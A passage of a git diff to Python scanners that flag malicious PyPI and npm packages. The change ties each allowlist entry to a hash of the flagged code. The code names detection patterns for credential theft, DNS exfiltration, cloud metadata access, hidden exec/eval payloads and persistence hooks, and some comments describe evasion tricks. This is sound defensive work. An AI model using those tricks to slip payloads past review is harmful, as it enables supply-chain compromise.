continue try: - keys.add((_norm_pkg_name(e["package"]), _relpath_in_package(e["file"]), e["pattern"])) + evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "") + if not e.get("evidence_hash"): + legacy += 1 + keys.add( + ( + _norm_pkg_name(e["package"]), + _relpath_in_package(e["file"]), + e["pattern"], + evidence_hash, + ) + ) except (KeyError, TypeError): continue + if legacy: + print( + f" [WARN] baseline {path}: {legacy} entries lack evidence_hash and may " + f"not suppress until regenerated with --write-baseline (findings reopen " + f"rather than risk hiding changed code under a coarse key)", + file = sys.stderr, + ) return keys def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> int: """Persist at-or-above-threshold findings as an allowlist for triage.""" entries = [] - seen: set[tuple[str, str, str]] = set() + seen: set[tuple[str, str, str, str]] = set() for f in sorted(findings, key = lambda f: (_SEVERITY_RANK[f.severity], f.package)): if _SEVERITY_RANK[f.severity] > threshold_rank: continue @@ -1529,21 +1993,24 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> if key in seen: continue seen.add(key) + evidence = f.evidence or f.detail entries.append( { "package": _norm_pkg_name(f.package), "file": _relpath_in_package(f.filename), "pattern": f.pattern, "severity": f.severity, - "evidence": (f.evidence or f.detail)[:240], + "evidence": evidence, + "evidence_hash": _evidence_hash(evidence), } ) doc = { "_comment": ( "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL " "finding manually judged benign. Matched on (package, " - "package-relative path, pattern); evidence/severity are for review " - "only. Regenerate with --write-baseline AFTER reviewing every line." + "package-relative path, pattern, evidence hash); a new payload under " + "an already-listed package/path/pattern reopens. severity is for " + "review only. Regenerate with --write-baseline AFTER reviewing every line." ), "version": _BASELINE_SCHEMA_VERSION, "entries": entries, @@ -1556,7 +2023,7 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> def _partition_baseline( - findings: list[Finding], baseline: set[tuple[str, str, str]] + findings: list[Finding], baseline: set[tuple[str, str, str, str]] ) -> tuple[list[Finding], list[Finding]]: """Split findings into (active, suppressed) by allowlist membership.""" if not baseline: diff --git a/scripts/scan_npm_packages_baseline.json b/scripts/scan_npm_packages_baseline.json index 61d8e74023..6ed3cedef9 100644 --- a/scripts/scan_npm_packages_baseline.json +++ b/scripts/scan_npm_packages_baseline.json @@ -1,5 +1,5 @@ { - "_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.", - "version": 2, + "_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern, evidence hash); a new payload under an already-listed package/path/pattern reopens instead of riding the entry. severity is for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.", + "version": 3, "entries": [] } diff --git a/scripts/scan_packages.py b/scripts/scan_packages.py index ce9763e235..73f6ff2291 100644 --- a/scripts/scan_packages.py +++ b/scripts/scan_packages.py @@ -43,9 +43,10 @@ False positives: examples and `>>>` doctests cannot trip a finding. Residual findings that are genuine library behavior (a HTTP client reading HF_TOKEN, a vendored test fixture) are suppressed via a reviewed baseline allowlist, matched on - (package, basename(file), check). A NEW kind of finding in an already-listed - file is a different check and still fails. This mirrors the Hugging Face Hub - approach (ClamAV/picklescan: low-FP, signature/structural, surface status). + (package, package-relative file, check, evidence hash). A new check, or + changed flagged code under the same check, reopens the finding; version + bumps and line shifts do not. This mirrors the Hugging Face Hub approach + (ClamAV/picklescan: low-FP, signature/structural, surface status). Exit codes: 0 -- no non-baselined CRITICAL or HIGH findings (or --write-baseline) @@ -55,6 +56,8 @@ Exit codes: import argparse import atexit +import bisect +import hashlib import io import json import os @@ -156,6 +159,9 @@ RE_EMBEDDED_KEYS = re.compile( re.DOTALL, ) +# Full PEM block (BEGIN..END), used to pin a multiline key body in evidence. +RE_PEM_BLOCK = re.compile(r"-----BEGIN[^\n]*KEY-----.*?-----END[^\n]*KEY-----", re.DOTALL) + # Cloud metadata / IMDS endpoints RE_CLOUD_METADATA = re.compile( r"169\.254\.169\.254" # AWS/Azure/GCP IMDS @@ -476,22 +482,26 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]: # Large base64 blob if RE_LARGE_BLOB.search(content): - blob = RE_LARGE_BLOB.search(content).group() + # Digest every blob (not just the first 120 chars, and not just the + # first blob), so a later payload that keeps the prefix or appends a + # second encoded blob reopens. + blob, digest = _blob_digest(content) findings.append( Finding( CRITICAL, package, filename, f".pth has large base64-like blob ({len(blob)} chars)", - blob[:120] + "...", + f"{blob[:120]}... sha256:{digest}", ) ) - # Catch-all: any import line in .pth if nothing else triggered + # Catch-all: any import line in .pth if nothing else triggered. Bind every + # line through a digest so an appended/swapped import reopens the key, but cap + # the displayed text so a large .pth of benign-looking imports cannot dump up + # to the archive member cap into the logs or baseline JSON. if not findings and import_lines: - evidence = "\n".join(import_lines[:5]) - if len(import_lines) > 5: - evidence += f"\n... ({len(import_lines)} import lines total)" + evidence = _cap_line("\n".join(import_lines)) findings.append( Finding( HIGH, @@ -505,13 +515,15 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]: # Unusually large executable .pth (litellm's was 34 KB; legit ones are <100 bytes) size = len(content) if size > 500 and import_lines: + # Pin the content so a different payload of the same size/import count reopens. + digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest() findings.append( Finding( HIGH, package, filename, f"Unusually large executable .pth ({size} bytes)", - f"{len(import_lines)} import line(s) in {size}-byte .pth file", + f"{len(import_lines)} import line(s) in {size}-byte .pth file sha256:{digest}", ) ) @@ -629,6 +641,13 @@ def _hidden_payload_findings( removed = "".join(o if o != s else " " for o, s in zip(original, code)) out = [] + # The visible exec/eval line is what makes the hidden string executable, so + # bind it into every finding's evidence: otherwise a reviewed false positive + # that keeps the same hidden text but flips a harmless `eval("1+1")` to + # `exec(__doc__)` (now running the payload) keeps the same key and stays + # suppressed. Taken from `stripped` (real code), where the exec/eval lives. + trigger = _extract_evidence(stripped, RE_EXEC_EVAL) + def _hidden(pat): # Carrier present in a blanked region but NOT in real code. A carrier in # real code is already caught by the normal check, so restricting to @@ -643,7 +662,7 @@ def _hidden_payload_findings( package, filename, "exec/eval with payload hidden in a docstring/string", - f"{label}: {_extract_evidence(removed, pat)}", + f"exec: {trigger}\n{label}: {_extract_evidence(removed, pat)}", ) ) # Fetch-then-run dropper: a network call AND an os/subprocess exec that both @@ -657,7 +676,9 @@ def _hidden_payload_findings( package, filename, "exec/eval with hidden network+exec payload", - f"network+exec: {_extract_evidence(removed, RE_SUBPROCESS)}", + f"exec: {trigger}\n" + f"network+exec: {_extract_evidence(removed, RE_NETWORK)} | " + f"{_extract_evidence(removed, RE_SUBPROCESS)}", ) ) return out @@ -717,14 +738,19 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: # openssl encryption + network/key material (encrypted exfiltration) if has_openssl_cli and (has_network or has_keys): + # Bind whichever side(s) co-occur so a changed endpoint or key reopens. + evidence = [f"OpenSSL: {_extract_evidence(content, RE_OPENSSL_CLI)}"] + if has_network: + evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}") + if has_keys: + evidence.append(f"Key: {_embedded_key_evidence(content)}") findings.append( Finding( CRITICAL, package, filename, "openssl encryption + network/key material (encrypted exfiltration)", - f"OpenSSL: {_extract_evidence(content, RE_OPENSSL_CLI)}\n" - f"Network: {_extract_evidence(content, RE_NETWORK)}", + "\n".join(evidence), ) ) @@ -896,6 +922,10 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: # Obfuscated payload: base64 + exec/eval + large blob if has_base64 and has_exec_eval and has_blob: + # Digest every blob too: a payload may sit on a separate line from the + # decode call, and a second encoded blob may be appended later, so + # binding only the base64/exec lines or the first blob would miss it. + _, blob_digest = _blob_digest(content) findings.append( Finding( HIGH, @@ -903,7 +933,8 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: filename, "base64 decode + exec/eval + large encoded blob", f"Base64: {_extract_evidence(content, RE_BASE64)}\n" - f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}", + f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}\n" + f"Blob: sha256:{blob_digest}", ) ) @@ -928,32 +959,48 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: package, filename, "Embedded cryptographic key + network calls (encrypted exfil pattern)", - f"Key: {_extract_evidence(content, RE_EMBEDDED_KEYS)}\n" + f"Key: {_embedded_key_evidence(content)}\n" f"Network: {_extract_evidence(content, RE_NETWORK)}", ) ) # Anti-analysis + any other suspicious pattern if has_anti and (has_network or has_subprocess or has_exec_eval): + # Bind the suspicious side too so a changed payload reopens. + evidence = [f"Anti: {_extract_evidence(content, RE_ANTI_ANALYSIS)}"] + if has_network: + evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}") + if has_subprocess: + evidence.append(f"Subprocess: {_extract_evidence(content, RE_SUBPROCESS)}") + if has_exec_eval: + evidence.append(f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}") findings.append( Finding( HIGH, package, filename, "Anti-analysis/sandbox evasion + suspicious behavior", - f"Anti: {_extract_evidence(content, RE_ANTI_ANALYSIS)}", + "\n".join(evidence), ) ) # DNS exfiltration with dynamic hostnames if has_dns_exfil and (has_base64 or has_network or has_creds): + # Bind the co-occurring side so a changed exfil channel reopens. + evidence = [f"DNS: {_extract_evidence(content, RE_DNS_EXFIL)}"] + if has_base64: + evidence.append(f"Base64: {_extract_evidence(content, RE_BASE64)}") + if has_network: + evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}") + if has_creds: + evidence.append(f"Creds: {_extract_evidence(content, RE_CRED_ACCESS)}") findings.append( Finding( HIGH, package, filename, "DNS exfiltration / tunneling patterns", - _extract_evidence(content, RE_DNS_EXFIL), + "\n".join(evidence), ) ) @@ -1064,7 +1111,7 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: package, filename, "Embedded cryptographic key material", - _extract_evidence(content, RE_EMBEDDED_KEYS), + _embedded_key_evidence(content), ) ) @@ -1107,39 +1154,349 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: return findings +_MAX_MULTILINE_LINES = 12 +# How far a single matched call is followed over its bracket continuations. A call +# that genuinely closes is bound all the way to its real close, up to the hard +# limit, so a ``requests.post(`` with many option/header lines before ``data=`` +# binds its whole argument list in the digest and a changed payload on a late +# continuation line reopens (a 40-line soft cap would hash only the first 40 lines +# and let a later ``data=``/headers change ride the baseline key). A bracket that +# never closes within the hard limit is a miscount (a multi-line string the +# single-line blanker cannot mask) or a stray opener, so it is bound only to the +# soft cap and cannot swallow unrelated code. +_MAX_CALL_LINES = 40 # soft cap: how far a NEVER-closing opener is followed +_MAX_CALL_HARD_LINES = 200 # hard cap: how far a closing call is followed to bind it + +# Cap a single rendered line. A short line is shown verbatim; a long (e.g. +# minified one-liner) line is shown as a bounded prefix plus a sha256 of the full +# line, so a packed payload cannot dump unbounded content into the evidence and +# baseline while a change past the cutoff still changes the digest and reopens the +# finding. The npm scanner bounds its snippets the same way. +_MAX_LINE_CHARS = 200 +# Cap on recorded spans in one evidence string; beyond it the remaining spans are +# folded into a digest so a file with thousands of matching lines cannot build a +# multi-megabyte evidence blob, while an added/removed span past the cap still +# changes the key. Comfortably above the largest real baseline entry. +_MAX_EVIDENCE_SPANS = 96 + + +def _cap_line(code: str) -> str: + """Bound a single line's displayed code: return it verbatim when short, else a + ``_MAX_LINE_CHARS`` prefix plus a digest of the whole line so the tail is still + pinned (fail-closed) without recording the entire line.""" + if len(code) <= _MAX_LINE_CHARS: + return code + digest = hashlib.sha256(code.encode("utf-8", "replace")).hexdigest() + return f"{code[:_MAX_LINE_CHARS]} sha256:{digest}" + + +_PY_TRIPLE = ("'''", '"""') + + +def _ends_with_odd_backslash(s: str) -> bool: + """True if ``s`` ends with an odd run of backslashes, i.e. a trailing + backslash that escapes the newline (a string/line continuation) rather than a + literal ``\\\\`` pair.""" + return (len(s) - len(s.rstrip("\\"))) % 2 == 1 + + +# Single-line quoted string literal; blanks complete one-line strings (the legacy +# view) so the single-line and multi-line blanked spans can be unioned below. +_RE_STR_LITERAL = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"") + + +def _blank_code_strings(lines: list[str]) -> list[str]: + """Replace string contents (single- and triple-quoted, escapes honoured) with + spaces across ``lines``, keeping the line count and every bracket OUTSIDE a + string intact. Bracket counting then never miscounts a ``)`` that lives inside + a string -- including a triple-quoted string spanning several lines, which a + per-line regex cannot blank.""" + out: list[str] = [] + in_triple: str | None = None # active ''' or \"\"\" delimiter, or None + in_string: str | None = None # active ' or " continued via a trailing backslash + for line in lines: + buf: list[str] = [] + i, n = 0, len(line) + while i < n: + if in_triple is not None: + end = line.find(in_triple, i) + if end == -1: + buf.append(" " * (n - i)) + i = n + else: + buf.append(" " * (end - i + 3)) + i = end + 3 + in_triple = None + continue + if in_string is not None: + # A single-/double-quoted string continued onto this line by a + # backslash-escaped newline. Resume blanking until its closing quote; + # if this line also ends on an odd trailing backslash the string + # continues again, otherwise it closes (or is unterminated) here. A + # per-line regex blanker cannot see this, so a `)` on the + # continuation line would otherwise be counted as code and close the + # call early -- dropping the URL/body lines that follow. + j, closed = i, False + while j < n: + if line[j] == "\\": + j += 2 + continue + if line[j] == in_string: + j += 1 + closed = True + break + j += 1 + buf.append(" " * (min(j, n) - i)) + if closed: + in_string = None + i = j + else: + i = n + if not _ends_with_odd_backslash(line): + in_string = None # unterminated without continuation; stop + continue + ch = line[i] + if ch in "'\"": + if line[i : i + 3] in _PY_TRIPLE: + delim = line[i : i + 3] + end = line.find(delim, i + 3) + if end == -1: # opens a triple string that runs past this line + buf.append(" " * (n - i)) + in_triple = delim + i = n + else: + buf.append(" " * (end - i + 3)) + i = end + 3 + continue + j = i + 1 # single-line string; skip to its closing quote + closed = False + while j < n: + if line[j] == "\\": + j += 2 + continue + if line[j] == ch: + j += 1 + closed = True + break + j += 1 + buf.append(" " * (min(j, n) - i)) + if closed: + i = j + else: + # Ran off the line without closing: an odd trailing backslash + # escapes the newline and continues the string onto the next + # line, so remember the quote; otherwise it is just unterminated. + i = n + if _ends_with_odd_backslash(line): + in_string = ch + continue + buf.append(ch) + i += 1 + out.append("".join(buf)) + return out + + +_RE_BRACKETS = re.compile(r"[()\[\]{}]") +_OPENERS = frozenset("([{") + + +def _bracket_lr(line: str) -> tuple[int, int]: + """Order-aware bracket reduction of one already-string-blanked line: ``(L, R)`` + where ``L`` is the count of closers with no opener earlier on the line (they + need an opener to the LEFT / a prior line) and ``R`` is the count of openers + with no closer later on the line (they need a closer to the RIGHT / a later + line). A plain net count (opens minus closes) collapses order and so masks a + trailing opener that follows leading closers on the same line, e.g. + ``]; requests.post(`` nets to 0 and hides the ``(`` that opens the flagged + call; tracking the running minimum keeps that opener visible so the call's + argument lines still bind. Only bracket characters are walked (pulled out with + one C-level regex pass) so a long minified line stays cheap.""" + depth = 0 + low = 0 + for ch in _RE_BRACKETS.findall(line): + if ch in _OPENERS: + depth += 1 + else: + depth -= 1 + if depth < low: + low = depth + return -low, depth - low + + +def _scan_line_end(view: list[str], start: int) -> int: + """1-based line where the statement at ``start`` closes its brackets in + ``view`` (one blanked view of the file). A call that closes is followed to its + real close up to ``_MAX_CALL_HARD_LINES`` so its whole argument list binds; a + bracket that never closes within that hard limit (a stray/miscounted opener) is + bound only to the ``_MAX_CALL_LINES`` soft cap so it cannot swallow the file. + Brackets are applied in order via ``_bracket_lr`` (leading closers clamp at 0) + so a closer that precedes the opener on the same line does not cancel it.""" + depth = 0 + hard = min(len(view), start + _MAX_CALL_HARD_LINES - 1) + for j in range(start, hard + 1): + ln = view[j - 1] + left, right = _bracket_lr(ln) + depth = max(0, depth - left) + right + if ln.rstrip().endswith("\\"): + continue # explicit backslash continuation: the call (e.g. its `(` and + # URL/body) is on the next physical line, so do not close here + if depth <= 0: + return j + # Never closed within the hard limit: bind only the soft cap so a stray opener + # cannot bind a giant unrelated span. + return min(len(view), start + _MAX_CALL_LINES - 1) + + +def _logical_line_end(sl_blanked: list[str], ml_blanked: list[str], start: int) -> int: + """1-based line where the statement opened at ``start`` closes, so a multi-line + call binds its argument lines (a changed URL/body on a continuation line + reopens, not just the API line). Returns the LARGER of the spans found in the + single-line-blanked view (legacy: a payload embedded inside a string still + counts, so its brackets bind the call) and the multi-line-blanked view (a + bracket inside a triple-quoted string argument no longer closes the call + early). Taking the union never shrinks the bound span below either view, so + neither blanking strategy can drop a continuation line a malicious change + relies on.""" + return max(_scan_line_end(sl_blanked, start), _scan_line_end(ml_blanked, start)) + + def _extract_evidence( content: str, pattern: re.Pattern, - max_matches: int = 3, + max_matches: int = 0, ) -> str: - """Pull matching lines as evidence snippets. + """Pull matching lines as evidence snippets (``max_matches=0`` means all). - Falls back to a whole-content search when the pattern only matches across - line boundaries (several IOC regexes use ``re.DOTALL``). Without this an - anti-analysis / archive-staging finding could report empty evidence, making - the baseline entry impossible to review. + Records every matching line in full, not a truncated sample, so an extra + match (or extra code on a long line) appended to an already-flagged file + changes the evidence and the baseline key instead of riding the first few. + Leading whitespace is kept so a flagged line moved out of a guarded block + reads as changed. Each single-line match is extended over bracket + continuations so a multi-line call binds its argument lines too. Cross-line + matches the per-line scan cannot see (DOTALL IOC regexes, or a multi-line + construct appended under a check that already had a one-line match) are + recorded afterwards, so an added multiline payload reopens the finding. A + pathological greedy span is bounded to its head line plus a digest of the + rest. """ lines = content.splitlines() - matches = [] + sl_blanked = [_RE_STR_LITERAL.sub("", ln) for ln in lines] + ml_blanked = _blank_code_strings(lines) + out = [] + seen: set[tuple[int, int]] = set() + # Overflow is streamed, not buffered: once `out` holds _MAX_EVIDENCE_SPANS + # rendered spans, every further span is folded straight into a running digest + # instead of being materialized and sliced off at the end. On a minified or + # padded file with hundreds of thousands of matching lines that keeps memory + # and work bounded to the display cap rather than the match count, while the + # digest still covers every overflow span so an over-cap payload change + # reopens. The fold reproduces _canon_evidence(" | ".join(overflow)) exactly + # (strip each span to its non-empty L-less code lines, join with "\n"), so + # the digest is identical to buffering the whole list and canonicalizing once. + overflow_count = 0 + overflow_hash = hashlib.sha256() + overflow_started = False + + def _emit(rendered: str) -> None: + nonlocal overflow_count, overflow_started + if len(out) < _MAX_EVIDENCE_SPANS: + out.append(rendered) + return + overflow_count += 1 + for piece in _RE_EVIDENCE_SPLIT.split(rendered): + piece = _RE_EVIDENCE_PREFIX.sub("", piece, count = 1).rstrip() + if not piece: + continue + if overflow_started: + overflow_hash.update(b"\n") + overflow_hash.update(piece.encode("utf-8", "replace")) + overflow_started = True + + def _render(start: int, end: int) -> str: + span = lines[start - 1 : end] or [""] + if len(span) > _MAX_MULTILINE_LINES: + # Digest the code without the L: markers so a pure line shift of + # the same span stays stable while a code change still reopens. The + # head is truncated for display only; the span digest already binds + # its full content, so no per-line digest is needed here. + code = "\n".join(ln.rstrip() for ln in span) + digest = hashlib.sha256(code.encode("utf-8", "replace")).hexdigest() + head = span[0].rstrip() + if len(head) > _MAX_LINE_CHARS: + head = head[:_MAX_LINE_CHARS] + "..." + return f"L{start}: {head} sha256:{digest}" + return "\n".join(f"L{start + i}: {_cap_line(ln.rstrip())}" for i, ln in enumerate(span)) + for i, line in enumerate(lines, 1): if pattern.search(line): - snippet = line.strip() - if len(snippet) > 160: - snippet = snippet[:160] + "..." - matches.append(f"L{i}: {snippet}") - if len(matches) >= max_matches: - break - if matches: - return " | ".join(matches) - # Multiline (DOTALL) match: report the line where the match begins. - m = pattern.search(content) - if m: - line_no = content.count("\n", 0, m.start()) + 1 - snippet = lines[line_no - 1].strip() if line_no - 1 < len(lines) else "" - if len(snippet) > 160: - snippet = snippet[:160] + "..." - return f"L{line_no}: {snippet}" if snippet else f"L{line_no}: " - return "" + span = (i, _logical_line_end(sl_blanked, ml_blanked, i)) + if span in seen: + continue + # Only track spans while still filling the display list: past the cap + # every span is folded into the overflow digest, so growing `seen` with + # all of them would keep memory proportional to the match count (the + # behavior this cap exists to bound) on a generated file with millions + # of one-line matches. The per-line spans are unique by line number, so + # dropping them from `seen` past the cap cannot cause a missed dedup + # here; at worst the fallback re-folds an over-cap span into the same + # digest, which stays deterministic and still reopens on a change. + if len(out) < _MAX_EVIDENCE_SPANS: + seen.add(span) + _emit(_render(*span)) + if max_matches and len(out) >= max_matches: + return " | ".join(out) + + # Precompute newline offsets once so mapping a match offset to its 1-based line + # is O(log n) (bisect) rather than O(n) (content.count) per match; the latter + # made this fallback quadratic on a minified file with thousands of matches. + nl = [p for p, ch in enumerate(content) if ch == "\n"] + for m in pattern.finditer(content): + start = bisect.bisect_left(nl, m.start()) + 1 + end = bisect.bisect_left(nl, m.end()) + 1 + if end <= start or (start, end) in seen: + continue # single-line matches are already covered by the pass above + # A giant greedy DOTALL span is bound by the full digest of its content + # (via _render, which renders a >12-line span as a head line plus a sha256 + # of the whole span). Binding only the anchors leaves the bridged interior + # unhashed, so an attacker could insert a new cross-line payload (a `/tmp` + # line and a later `subprocess` line, sharing no single line so the + # per-line pass never binds them) between unchanged outer anchors and keep + # the same key. Digesting the interior reopens on any such change; a pure + # line shift stays stable because the digest is over the markerless code. + if len(out) < _MAX_EVIDENCE_SPANS: + seen.add((start, end)) + _emit(_render(start, end)) + if max_matches and len(out) >= max_matches: + break + if overflow_count: + # The overflow digest was accumulated from the canonicalized (L:-less) + # spans as they were emitted, so a pure line shift above the overflow + # region does not change it and reopen an otherwise-unchanged finding, + # matching the per-span key's line-shift stability. + out.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}") + return " | ".join(out) + + +def _embedded_key_evidence(content: str) -> str: + """Key evidence that also pins the full PEM block(s) via a digest, so a key + body swapped under the same BEGIN marker reopens the finding (single-line and + DER keys are already bound by their full matched line).""" + ev = _extract_evidence(content, RE_EMBEDDED_KEYS) + blocks = RE_PEM_BLOCK.findall(content) + if blocks: + digest = hashlib.sha256("\n".join(blocks).encode("utf-8", "replace")).hexdigest() + ev = f"{ev} sha256:{digest}" if ev else f"sha256:{digest}" + return ev + + +def _blob_digest(content: str) -> tuple[str, str]: + """First large blob (for display) plus a digest binding EVERY large blob, so + an appended or swapped encoded payload reopens the finding rather than riding + an unchanged first blob. Assumes at least one blob is present (single-blob + files keep the prior single-blob digest, so the baseline does not drift).""" + blobs = RE_LARGE_BLOB.findall(content) + digest = hashlib.sha256("\n".join(blobs).encode("utf-8", "replace")).hexdigest() + return blobs[0], digest # Non-Python checkers @@ -1189,7 +1546,8 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]: package, filename, "JS embeds credential regexes AND makes network calls (stealer)", - _extract_evidence(content, RE_TOKEN_REGEX), + f"Token: {_extract_evidence(content, RE_TOKEN_REGEX)}\n" + f"Network: {_extract_evidence(content, RE_NETWORK)}", ) ) if has_workflow_inj: @@ -1202,18 +1560,31 @@ def check_js_file(content: str, filename: str, package: str) -> list[Finding]: _extract_evidence(content, RE_WORKFLOW_INJECT), ) ) - if is_large and not findings: - findings.append( - Finding( - HIGH, - package, - filename, - # Size stays in evidence, not the check label, so the baseline key - # does not drift when a wheel's bundle grows by a few KB. - "Python wheel ships large JS bundle (uncommon; manually review)", - f"{len(content) // 1024} KB JS bundle", + # Pin the whole file's content digest to EVERY JS finding (not just large + # bundles). _extract_evidence blanks only Python string forms before counting + # brackets, so a JS backtick template literal that contains `)` can close a + # call's span early and omit the option/body lines that follow; binding the + # full content means a change to those omitted lines still reopens instead of + # riding the matched-line evidence. A large bundle with no other heuristic is a + # standalone HIGH. + if findings or is_large: + digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest() + if findings: + for f in findings: + f.evidence = f"{f.evidence} bundle-sha256:{digest}" + else: + findings.append( + Finding( + HIGH, + package, + filename, + # Size stays out of the check label (from main) so the baseline + # key does not drift when a benign bundle grows; the full-content + # digest below still binds the bytes so a payload swap reopens. + "Python wheel ships large JS bundle (uncommon; manually review)", + f"sha256: {digest}", + ) ) - ) return findings @@ -1233,6 +1604,12 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding] if RE_DEV_TOOL_HIJACK.search(content) and ( RE_NETWORK.search(content) or RE_SUBPROCESS.search(content) ): + # Bind the hook AND the network/exec signal so a changed exfil reopens. + evidence = [f"Hook: {_extract_evidence(content, RE_DEV_TOOL_HIJACK)}"] + if RE_NETWORK.search(content): + evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}") + if RE_SUBPROCESS.search(content): + evidence.append(f"Exec: {_extract_evidence(content, RE_SUBPROCESS)}") findings.append( Finding( CRITICAL, @@ -1240,7 +1617,7 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding] filename, "Shell installs developer-tool persistence hook (.bashrc / " "profile.d / vscode tasks) AND has network or exec", - _extract_evidence(content, RE_DEV_TOOL_HIJACK), + "\n".join(evidence), ) ) if RE_TOKEN_REGEX.search(content) and RE_NETWORK.search(content): @@ -1250,7 +1627,8 @@ def check_shell_file(content: str, filename: str, package: str) -> list[Finding] package, filename, "Shell embeds credential regexes AND makes network calls", - _extract_evidence(content, RE_TOKEN_REGEX), + f"Token: {_extract_evidence(content, RE_TOKEN_REGEX)}\n" + f"Network: {_extract_evidence(content, RE_NETWORK)}", ) ) if RE_WORKFLOW_INJECT.search(content): @@ -2517,9 +2895,9 @@ def _find_requirements_files(root: str) -> list[str]: # Baseline allowlist: triaged known-good CRITICAL/HIGH findings so the gate can # enforce without drowning in legitimate-library noise. Matched on -# ``(package, basename(filename), check)`` -- not evidence text -- so a version -# bump does not reopen a finding, but a *new* kind of finding in a listed file -# is a different check and still fails. Regenerate with ``--write-baseline``. +# (package, package-relative file, check, evidence hash); the hash strips +# ``L:`` markers so version bumps and line shifts do not reopen an entry, +# but changed flagged code does. Regenerate with ``--write-baseline``. _DEFAULT_BASELINE_PATH = os.path.join( os.path.dirname(os.path.abspath(__file__)), "scan_packages_baseline.json" @@ -2546,16 +2924,54 @@ def _relpath_in_package(filename: str) -> str: return _RE_SDIST_ROOT.sub("", filename, count = 1) -def _finding_key(f: Finding) -> tuple[str, str, str]: - """Stable allowlist key: normalized package, package-relative path, check. +# Evidence joins matched spans with " | " and a newline between labelled groups, +# each span tagged "L: ". Split only on those real delimiters (a " | " before +# a marker, or a newline), never on a bare "|" -- matched code may contain a +# bitwise-or or union type. The prefix strips only a genuine leading marker, an +# optional "Label: " then "L: "; a marker-like "L:" inside raw code (e.g. +# a .pth import line) has no leading marker and is left intact. +_RE_EVIDENCE_SPLIT = re.compile(r" \| (?=L\d+:)|\n") +_RE_EVIDENCE_PREFIX = re.compile(r"^(?:[A-Za-z][A-Za-z0-9 _/+.-]*:\s*)?L\d+:\s?") - The package-relative path (not just basename) keeps the key stable across - version bumps while still distinguishing same-named files like ``utils.py``. + +def _canon_evidence(evidence: str) -> str: + """Matched code lines in discovery order (markers removed), duplicates kept. + + Splits evidence on its real span delimiters, drops each span's leading + label / line-number marker, and keeps the code with its indentation. Line + shifts are absorbed by stripping the L: markers, not by sorting, so order + stays significant: reordering matched lines (executable context, e.g. the + arguments of a multi-line call) reopens the finding. Keeping duplicates means + an appended identical occurrence still changes the key.""" + spans = [] + for s in _RE_EVIDENCE_SPLIT.split(evidence or ""): + s = _RE_EVIDENCE_PREFIX.sub("", s, count = 1).rstrip() + if s: + spans.append(s) + return "\n".join(spans) + + +def _evidence_hash(evidence: str) -> str: + """Stable digest of the canonical matched evidence.""" + return hashlib.sha256(_canon_evidence(evidence).encode("utf-8", "replace")).hexdigest() + + +def _finding_key(f: Finding) -> tuple[str, str, str, str]: + """Allowlist key: package, package-relative path, check, evidence hash. + + The evidence hash is over the set of matched code, so the key survives version + bumps, line shifts and reordering but reopens when the flagged code changes -- + so a future payload in a baselined file/check is not auto-suppressed. """ - return (_norm_pkg(f.package), _relpath_in_package(f.filename), f.check) + return ( + _norm_pkg(f.package), + _relpath_in_package(f.filename), + f.check, + _evidence_hash(f.evidence), + ) -def _load_baseline(path: str) -> set[tuple[str, str, str]]: +def _load_baseline(path: str) -> set[tuple[str, str, str, str]]: """Load an allowlist JSON into a set of match keys. Missing file -> empty.""" try: with open(path, "r", encoding = "utf-8") as fh: @@ -2565,19 +2981,47 @@ def _load_baseline(path: str) -> set[tuple[str, str, str]]: except (OSError, json.JSONDecodeError) as exc: print(f" [WARN] could not read baseline {path}: {exc}", file = sys.stderr) return set() - keys: set[tuple[str, str, str]] = set() - for e in data.get("entries", []): + if not isinstance(data, dict): + print(f" [WARN] baseline {path} is not a JSON object", file = sys.stderr) + return set() + entries = data.get("entries", []) + if not isinstance(entries, list): + print(f" [WARN] baseline {path} entries is not a list", file = sys.stderr) + return set() + keys: set[tuple[str, str, str, str]] = set() + legacy = 0 + for e in entries: + if not isinstance(e, dict): + continue try: - keys.add((_norm_pkg(e["package"]), _relpath_in_package(e["file"]), e["check"])) + # Use the reviewed hash; else recompute it from the stored evidence. + evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "") + if not e.get("evidence_hash"): + legacy += 1 + keys.add( + ( + _norm_pkg(e["package"]), + _relpath_in_package(e["file"]), + e["check"], + evidence_hash, + ) + 